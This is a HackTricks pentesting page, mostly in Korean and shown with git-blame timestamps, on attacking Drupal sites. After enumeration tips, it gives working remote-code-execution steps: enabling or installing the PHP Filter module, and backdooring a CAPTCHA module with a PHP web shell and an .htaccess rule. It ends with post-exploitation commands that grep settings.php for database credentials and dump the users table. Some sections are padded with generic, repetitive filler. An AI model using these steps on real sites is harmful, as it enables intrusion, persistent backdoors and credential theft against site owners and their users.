hacktricks/network-services-pentesting/pentesting-web/drupal.md

213 lines
12 KiB
Markdown
Raw Normal View History

2022-04-28 23:27:22 +00:00
# Drupal
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 21:30:13 +00:00
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
HackTricks를 지원하는 다른 방법:
2023-12-31 01:24:39 +00:00
2024-02-10 21:30:13 +00:00
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
2022-04-28 16:01:33 +00:00
</details>
2022-10-02 23:08:05 +00:00
## Discovery
2024-02-10 21:30:13 +00:00
* **메타**를 확인하세요.
2022-10-02 23:08:05 +00:00
```bash
curl https://www.drupal.org/ | grep 'content="Drupal'
```
2024-02-10 21:30:13 +00:00
* **노드**: Drupal은 **노드를 사용하여 콘텐츠를 색인화**합니다. 노드는 블로그 글, 투표, 기사 등과 같은 **어떤 것이든 저장**할 수 있습니다. 페이지 URI는 일반적으로 `/node/<nodeid>` 형식입니다.
2022-10-02 23:08:05 +00:00
```bash
curl drupal-site.com/node/1
```
2024-02-10 21:30:13 +00:00
## 열거
2022-10-02 23:08:05 +00:00
2024-02-10 21:30:13 +00:00
Drupal은 기본적으로 **세 가지 유형의 사용자**를 지원합니다:
2022-10-02 23:08:05 +00:00
2024-02-10 21:30:13 +00:00
1. **`관리자`**: 이 사용자는 Drupal 웹 사이트를 완전히 제어할 수 있습니다.
2. **`인증된 사용자`**: 이러한 사용자는 웹 사이트에 로그인하고 권한에 따라 기사를 추가하고 편집하는 등의 작업을 수행할 수 있습니다.
3. **`익명`**: 모든 웹 사이트 방문자는 익명으로 지정됩니다. 기본적으로 이러한 사용자는 게시물을 읽는 것만 허용됩니다.
2022-10-02 23:08:05 +00:00
2024-02-10 21:30:13 +00:00
### 버전
2022-10-02 23:08:05 +00:00
2024-02-10 21:30:13 +00:00
* `/CHANGELOG.txt`를 확인하세요.
2022-10-02 23:08:05 +00:00
```bash
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""
Drupal 7.57, 2018-02-21
```
{% hint style="info" %}
2024-02-10 21:30:13 +00:00
새로 설치된 Drupal은 기본적으로 `CHANGELOG.txt``README.txt` 파일에 대한 액세스를 차단합니다.
2022-10-02 23:08:05 +00:00
{% endhint %}
2024-02-10 21:30:13 +00:00
### 사용자 이름 열거
2022-10-02 23:08:05 +00:00
2024-02-10 21:30:13 +00:00
#### 등록
2024-02-10 21:30:13 +00:00
_/user/register_에서 사용자 이름을 만들려고 시도하고 이름이 이미 사용 중인 경우 알림이 표시됩니다:
![](<../../.gitbook/assets/image (254).png>)
2024-02-10 21:30:13 +00:00
#### 새 비밀번호 요청
2024-02-10 21:30:13 +00:00
기존 사용자 이름에 대해 새 비밀번호를 요청하는 경우:
![](<../../.gitbook/assets/image (255).png>)
2024-02-10 21:30:13 +00:00
존재하지 않는 사용자 이름에 대해 새 비밀번호를 요청하는 경우:
![](<../../.gitbook/assets/image (256).png>)
2024-02-10 21:30:13 +00:00
### 사용자 수 가져오기
2024-02-10 21:30:13 +00:00
_/user/\<number>_에 액세스하여 기존 사용자 수를 확인할 수 있습니다. 이 경우 _/users/3_은 찾을 수 없는 오류를 반환합니다:
![](<../../.gitbook/assets/image (257).png>)
![](<../../.gitbook/assets/image (227) (1) (1).png>)
2024-02-10 21:30:13 +00:00
### 숨겨진 페이지
2024-02-10 21:30:13 +00:00
**`/node/$` 형식으로 퍼징하십시오. 여기서 `$`는 숫자입니다** (예: 1에서 500까지).\
검색 엔진에서 참조되지 않는 **숨겨진 페이지** (테스트, 개발)를 찾을 수 있습니다.
2021-09-20 10:57:53 +00:00
2024-02-10 21:30:13 +00:00
#### 설치된 모듈 정보
2021-09-20 10:57:53 +00:00
```bash
#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml
# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml
```
2024-02-10 21:30:13 +00:00
### 자동
Drupal은 웹 사이트 및 애플리케이션을 구축하기 위한 강력한 콘텐츠 관리 시스템(CMS)입니다. Drupal은 다양한 기능과 모듈을 제공하여 사용자 정의 웹 사이트를 만들 수 있습니다. 그러나 이러한 유연성은 보안 취약점을 남겨둘 수도 있습니다. 따라서 Drupal 웹 사이트를 펜테스팅하는 것은 중요합니다.
2021-09-20 10:57:53 +00:00
2024-02-10 21:30:13 +00:00
Drupal 웹 사이트를 펜테스팅하기 위해 자동화된 도구를 사용할 수 있습니다. 이러한 도구는 웹 사이트의 취약점을 식별하고 악용할 수 있는 기능을 제공합니다. 자동화된 도구를 사용하면 시간과 노력을 절약할 수 있으며, 더 많은 취약점을 발견할 수 있습니다.
2022-10-02 23:08:05 +00:00
2024-02-10 21:30:13 +00:00
자동화된 도구 중 일부는 다음과 같습니다.
- **Drupwn**: Drupal 웹 사이트를 검색하고 취약점을 식별하는 도구입니다. 이 도구는 Drupal 사이트의 버전, 모듈 및 테마를 식별할 수 있습니다. 또한 취약한 설정 및 기본 자격 증명을 찾을 수도 있습니다.
- **Droopescan**: Drupal 웹 사이트를 검색하고 취약점을 식별하는 도구입니다. 이 도구는 Drupal 사이트의 버전, 모듈 및 테마를 식별할 수 있습니다. 또한 취약한 설정 및 기본 자격 증명을 찾을 수도 있습니다.
- **Drupalgeddon**: Drupal 사이트에서 실행되는 취약한 버전을 식별하는 도구입니다. 이 도구는 Drupal 사이트에서 실행되는 취약한 버전을 식별하고 악용할 수 있는 기능을 제공합니다.
이러한 자동화된 도구를 사용하여 Drupal 웹 사이트를 펜테스팅하면 취약점을 신속하게 식별하고 보안을 강화할 수 있습니다. 그러나 이러한 도구는 전문 지식과 주의가 필요하며, 합법적인 펜테스팅 목적으로만 사용해야 합니다.
2022-10-02 23:08:05 +00:00
```bash
droopescan scan drupal -u http://drupal-site.local
```
## RCE
2024-02-10 21:30:13 +00:00
### PHP Filter 모듈을 사용한 방법
2022-10-02 23:08:05 +00:00
{% hint style="warning" %}
2024-02-10 21:30:13 +00:00
Drupal의 이전 버전 **(버전 8 이전)**에서는 관리자로 로그인하여 **`PHP filter` 모듈을 활성화**할 수 있었습니다. 이 모듈은 "내장된 PHP 코드/스니펫을 평가할 수 있게 합니다."
2022-10-02 23:08:05 +00:00
{% endhint %}
2024-02-10 21:30:13 +00:00
**플러그인 php가 설치되어 있어야 합니다** (접근하여 _/modules/php_를 확인하고 **403**이 반환되면 **존재합니다**, **찾을 수 없다면**, **플러그인 php가 설치되어 있지 않습니다**)
2024-02-10 21:30:13 +00:00
_Modules_로 이동 -> (**확인**) _PHP Filter_ -> _구성 저장_
![](<../../.gitbook/assets/image (247) (1).png>)
2024-02-10 21:30:13 +00:00
그런 다음 _Add content_를 클릭 -> _Basic Page_ 또는 _Article_ 선택 -> _본문에 php 쉘 코드 작성_ -> _Text format_에서 _PHP code_ 선택 -> _Preview_ 선택
2023-03-04 19:33:37 +00:00
![](<../../.gitbook/assets/image (253) (1).png>)
2024-02-10 21:30:13 +00:00
마지막으로 방금 생성된 노드에 액세스하면 됩니다:
2022-10-02 23:08:05 +00:00
```bash
curl http://drupal-site.local/node/3
```
2024-02-10 21:30:13 +00:00
### PHP 필터 모듈 설치
2022-10-02 23:08:05 +00:00
2024-02-10 21:30:13 +00:00
버전 8부터는 [PHP 필터](https://www.drupal.org/project/php/releases/8.x-1.1) 모듈이 기본적으로 설치되지 않습니다. 이 기능을 활용하기 위해서는 모듈을 직접 설치해야 합니다.
2022-10-02 23:08:05 +00:00
2024-02-10 21:30:13 +00:00
1. Drupal 웹사이트에서 가장 최신 버전의 모듈을 다운로드합니다.
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
2. 다운로드가 완료되면 **`관리`** > **`보고서`** > **`사용 가능한 업데이트`**로 이동합니다.
3. **`찾아보기`**를 클릭하고, 다운로드한 디렉토리에서 파일을 선택한 후 **`설치`**를 클릭합니다.
4. 모듈이 설치되면 **`콘텐츠`**를 클릭하고, Drupal 7 예제와 유사하게 **새로운 기본 페이지를 생성**합니다. 다시 한 번, **`텍스트 형식` 드롭다운에서 `PHP 코드`를 선택**해야 합니다.
2022-10-02 23:08:05 +00:00
2024-02-10 21:30:13 +00:00
### 백도어 모듈
2022-10-02 23:08:05 +00:00
2024-02-10 21:30:13 +00:00
백도어 모듈은 **기존 모듈에 쉘을 추가함으로써 생성**될 수 있습니다. 모듈은 drupal.org 웹사이트에서 찾을 수 있습니다. [CAPTCHA](https://www.drupal.org/project/captcha)와 같은 모듈을 선택해보겠습니다. 아래로 스크롤하여 tar.gz [아카이브](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz)의 링크를 복사합니다.
2022-10-02 23:08:05 +00:00
2024-02-10 21:30:13 +00:00
* 아카이브를 다운로드하고, 그 내용을 추출합니다.
2022-10-02 23:08:05 +00:00
```
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
```
2024-02-10 21:30:13 +00:00
* 다음 내용으로 **PHP 웹 쉘**을 생성하세요:
2022-10-02 23:08:05 +00:00
```php
<?php
system($_GET["cmd"]);
?>
```
2024-02-10 21:30:13 +00:00
* 다음으로, 우리는 폴더에 접근하기 위해 **`.htaccess`** 파일을 생성해야 합니다. 이는 Drupal이 **`/modules`** 폴더에 직접적인 접근을 거부하기 때문에 필요합니다.
2022-10-02 23:08:05 +00:00
```html
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
```
2024-02-10 21:30:13 +00:00
* 위의 구성은 /modules에서 파일을 요청할 때 / 폴더에 대한 규칙을 적용합니다. 이 두 파일을 captcha 폴더로 복사하고 아카이브를 생성하세요.
2022-10-02 23:08:05 +00:00
```bash
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
```
2024-02-10 21:30:13 +00:00
* 웹 사이트에 **관리자 액세스**가 있다고 가정하고, 사이드바에서 **`관리`**를 클릭한 다음 **`확장`**을 클릭합니다. 그런 다음 **`+ 새 모듈 설치`** 버튼을 클릭하면 설치 페이지로 이동합니다. 예를 들어 `http://drupal-site.local/admin/modules/install`로 이동합니다. 백도어가 있는 Captcha 아카이브로 이동하여 **`설치`**를 클릭합니다.
* 설치가 성공하면 명령을 실행하기 위해 **`/modules/captcha/shell.php`**로 이동합니다.
2022-10-02 23:08:05 +00:00
2024-02-10 21:30:13 +00:00
## 사후 침투
2021-04-01 21:42:37 +00:00
2024-02-10 21:30:13 +00:00
### settings.php 읽기
```
2021-04-01 21:42:37 +00:00
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
```
2024-02-10 21:30:13 +00:00
### DB에서 사용자 덤프하기
2021-04-01 21:42:37 +00:00
2024-02-10 21:30:13 +00:00
To dump users from the database, you can use the following steps:
2021-04-01 21:42:37 +00:00
2024-02-10 21:30:13 +00:00
1. Identify the database management system (DBMS) being used by the Drupal website. Common DBMS for Drupal include MySQL, PostgreSQL, and SQLite.
2. Use the appropriate command-line tool or graphical interface to connect to the database.
3. Once connected, execute a SQL query to retrieve the user information. The exact query will depend on the DBMS being used. For example, in MySQL, you can use the following query:
```sql
SELECT * FROM users;
```
This query will retrieve all the user records from the "users" table.
4. Save the query result to a file for further analysis. You can use the appropriate command or option provided by the DBMS tool to export the query result to a file.
By following these steps, you will be able to dump the users from the Drupal website's database. This information can be useful for further analysis or security testing purposes.
```
2021-04-01 21:42:37 +00:00
mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'
```
2024-02-10 21:30:13 +00:00
## 참고 자료
2022-10-02 23:08:05 +00:00
* [https://academy.hackthebox.com/module/113/section/1209](https://academy.hackthebox.com/module/113/section/1209)
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 21:30:13 +00:00
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
HackTricks를 지원하는 다른 방법:
2023-12-31 01:24:39 +00:00
2024-02-10 21:30:13 +00:00
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왑**](https://peass.creator-spring.com)을 얻으세요.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
2022-04-28 16:01:33 +00:00
</details>